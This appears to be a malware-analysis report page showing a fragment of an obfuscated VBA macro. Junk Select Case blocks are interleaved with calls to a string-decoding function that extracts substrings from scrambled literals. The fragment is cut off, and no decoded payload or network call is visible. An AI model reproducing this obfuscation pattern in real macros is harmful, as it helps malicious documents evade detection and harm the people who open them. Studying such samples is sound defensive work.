fsrvXwE = MEQQXO("b5zS&siOKMlpXSPTiwk=%Sj", jiqzWl - jiqzWl + 3 + jiqzWl - jiqzWl, jiqzWl - jiqzWl + 17 + jiqzWl - jiqzWl)
Select Case WAJqF
         Case 13106
            GwbRjB = Hex(ZVWpX - ChrW(awnBQ))
            iHmMo = CByte(4152)
            SZXXGE = VFDtij
         Case 29069
            hjFapU = aMIZDX
            UkmPzi = Round(64568)
            wQkjz = Log(suThm)
End Select
Select Case wJfJi
         Case 77924
            MNPpMz = Hex(qbSzHu - ChrW(foKiE))
            qYrHYK = CByte(35449)
            hrGPm = WTJjdj
         Case 35267
            GMqsL = QVUbZ
            HnWIQ = Round(3400)
            qJjMiV = Log(dLfbF)
End Select
ZIOCW = MEQQXO("Hnes&&!%qaLkZpuGbp%T77H", aGGONO - aGGONO + 8 + aGGONO - aGGONO, aGGONO - aGGONO + 14 + aGGONO - aGGONO)
Select Case RcRiQ
         Case 62548
            NrMWip = Hex(kjzASb - ChrW(cEWAI))
            IbFpt = CByte(42810)
            niWrr = CTwwNh
         Case 85317
            SuNiId = pYviI
            qllWd = Round(16697)
            uGMGJi = Log(idHJS)
End Select
Select Case wjNSjj
         Case 42906
            JWjbA = Hex(MwskI - ChrW(YwTjk))
            sSCXu = CByte(89413)
            QpEaiG = pVKrL
         Case 64290
            nwzUL = qLzQj
            frDElc = Round(73229)
            jUIXKd = Log(LClcVD)
End Select
YlFwoHGAsrA = MEQQXO("Q@tes&Zt716", jqjrK - jqjrK + 6 + jqjrK - jqjrK, jqjrK - jqjrK + 4 + jqjrK - jqjrK)
Select Case FUFCil
         Case 12306
            pnuAb = Hex(lQYPZ - ChrW(VSpaK))
            RiJNoL = CByte(58623)
            ljzitA = fiVdJ
         Case 3947
            ZlNMw = dmiis
            Ubvcz = Round(67817)
            unCRq = Log(ZipoU)
End Select
Select Case OdphL
         Case 21195
            dwBoVz = Hex(clcoDK - ChrW(FjHuL))
            dUIiI = CByte(60345)
            WOShp = IUaHlp
         Case 57039
            wInBW = UIuin
            JAJnX = Round(62538)
            pROSvw = Log(ChibV)
End Select
OMsjYAE = MEQQXO("8@%YmTX!%AtbtXNTX%!!%wWBAD", BfwFXA - BfwFXA + 2 + BfwFXA - BfwFXA, BfwFXA - BfwFXA + 18 + BfwFXA - BfwFXA)
Select Case hqjLV
         Case 56784
            SnNTkt = Hex(ZHLmkE - ChrW(osiprC))
            KmdSM = CByte(67272)
            STzSt = XBDuiC
         Case 18939
            uVrrQE = wwVibi
            AkBXK = Round(44053)
            nNUqK = Log(monHps)
End Select
Select Case bIQWnQ
         Case 33795
            dCkakz = Hex(ihaIWh - ChrW(MpTAbO))
            QWTmXz = CByte(62171)
            uXtzIF = mrkSuj
         Case 13993
            jAJmw = CmoDEM
            QnNAHt = Round(74194)
            OZZjb = Log(cQIUF)
End Select
ClkwQjqCz = MEQQXO("3r9lGCri% tes&&fcFn4%", PRlbv - PRlbv + 3 + PRlbv - PRlbv, PRlbv - PRlbv + 13 + PRlbv - PRlbv)
Select Case zmmNN
         Case 69675
            skFtD = Hex(EVDXSm - ChrW(UWSakC))
            YaWfj = CByte(98239)
            idBzn = iuSJf
         Case 42037
            XjYtqh = oaULc
            QmROZ = Round(20477)
            pWrCX = Log(OEaEIu)
End Select
Select Case WJLFR
         Case 42420
            rQmXtl = Hex(FbFcdm - ChrW(qXSHki))
            ODnJw = CByte(41937)
            VWMiOJ = tsRHbm
         Case 88070
            pwIUUf = twjnNc
            zNwPu = Round(70407)
            suOcH = Log(iBzJwf)
End Select
szXcpTaC = MEQQXO("HNovuT%!=%wfqKsWK", MwrBc - MwrBc + 5 + MwrBc - MwrBc, MwrBc - MwrBc + 9 + MwrBc - MwrBc)
Select Case NqBcBE
         Case 67822
            OBbvEj = Hex(EKLrJi - ChrW(CurMjH))
            wWqiwz = CByte(16475)
            UOqBc = smjDPk
         Case 95012
            wFWzQo = kpUbl
            ilNFh = Round(71235)
            qzAHCU = Log(HLITW)
End Select
Select Case jkoiu
         Case 62889
            PhCwj = Hex(EBMbh - ChrW(fKNLCo))
            bRAoV = CByte(34240)
            HQSzGK = XEnzJY
         Case 68440
            rYHlw = PTZmur
            EPtji = Round(77016)
            oiOUW = Log(IFZOs)
End Select
QpbitB = MEQQXO("wJG3Ari%!!%bHILw7", JYlLzi - JYlLzi + 3 + JYlLzi - JYlLzi, JYlLzi - JYlLzi + 11 + JYlLzi - JYlLzi)
Select Case TPacj
         Case 69401
            wsztK = Hex(TZSpu - ChrW(ikYXI))
            nOjnJ = CByte(87912)
            uiXpd = MwLpTq
         Case 79223
            HDppP = zNfvrR
            sVjKi = Round(7149)
            QhvkoD = Log(UTuFhT)
End Select
Select Case kCVVPl
         Case 96526
            FCPHY = Hex(zVjwPj - ChrW(aGzXw))
            MPOTYE = CByte(63665)
            jsQXbG = MiBpZz
         Case 13221
            IUIwd = wXwSI
            rqirDr = Round(76642)
            cPana = Log(OXviX)
End Select
tzkRqO = MEQQXO("6aNuPPMWSUBjC=%LbtjlDRCw2bn", fLtzt - fLtzt + 4 + fLtzt - fLtzt, fLtzt - fLtzt + 19 + fLtzt - fLtzt)
Select Case FtGzQH
         Case 7828
            nVSETT = Hex(VzKmi - ChrW(tttuV))
            WwYbP = CByte(91172)
            hwkjbv = zaGwVU
         Case 11861
            sXlwpV = AMFul
            rPuCJp = Round(74695)
            kQjqv = Log(SmwYB)
End Select
Select Case JlnOU
         Case 43404
            bsVPV = Hex(kqcGnQ - ChrW(uiLSrD))
            vGBXqp = CByte(13658)
            pwscQR = bbsoQ
         Case 22880
            Aoiij = aaVWR
            cUrwZf = Round(70516)
            AjNLza = Log(GjaDmO)
End Select
VIIirUw = MEQQXO("I5V.KYckSq.", XDAqT - XDAqT + 2 + XDAqT - XDAqT, XDAqT - XDAqT + 4 + XDAqT - XDAqT)
Select Case GMpIJw
         Case 24839
            bWLUp = Hex(kdTJjO - ChrW(UbXiF))
            UqvTfi = CByte(83292)
            iJRWn = kEqzfl
         Case 52212
            GGuGz = mlRZEN
            YfDflz = Round(71586)
            TCmsi = Log(PkXDT)
End Select
Select Case nhCrLE
         Case 74173
            sHMup = Hex(ETjom - ChrW(qqIoqT))
            lfmpi = CByte(32426)
            cXqFJd = kiawSA
         Case 81306
            jiFAzq = YOAsjA
            FShdIo = Round(62882)
            aiJOFL = Log(rYSiJv)
End Select
YirHjcWiX = MEQQXO("lw&r^e=%GOzPEhpOFApW6u", wjoZZ - wjoZZ + 5 + wjoZZ - wjoZZ, wjoZZ - wjoZZ + 16 + wjoZZ - wjoZZ)
Select Case jiTpf
         Case 97588
            ERzhDY = Hex(PosBv - ChrW(Darjl))
            qWcZzr = CByte(73169)
            jDKSJh = VNMjC
         Case 75937
            cjajOo = ImjEu
            Fcszq = Round(33288)
            YLdZsN = Log(hNfCi)
End Select
Select Case ViCoV
         Case 47219
            chzuE = Hex(CKSlIT - ChrW(EcdRo))
            fEKIiJ = CByte(39180)
            vodUY = GGBNj
         Case 49634
            OVljvV = IsFlAk
            HSZPlk = Round(43645)
            VoRkA = Log(waPkO)
End Select
…

Open this report in the interactive analyzer, or submit your own file for analysis.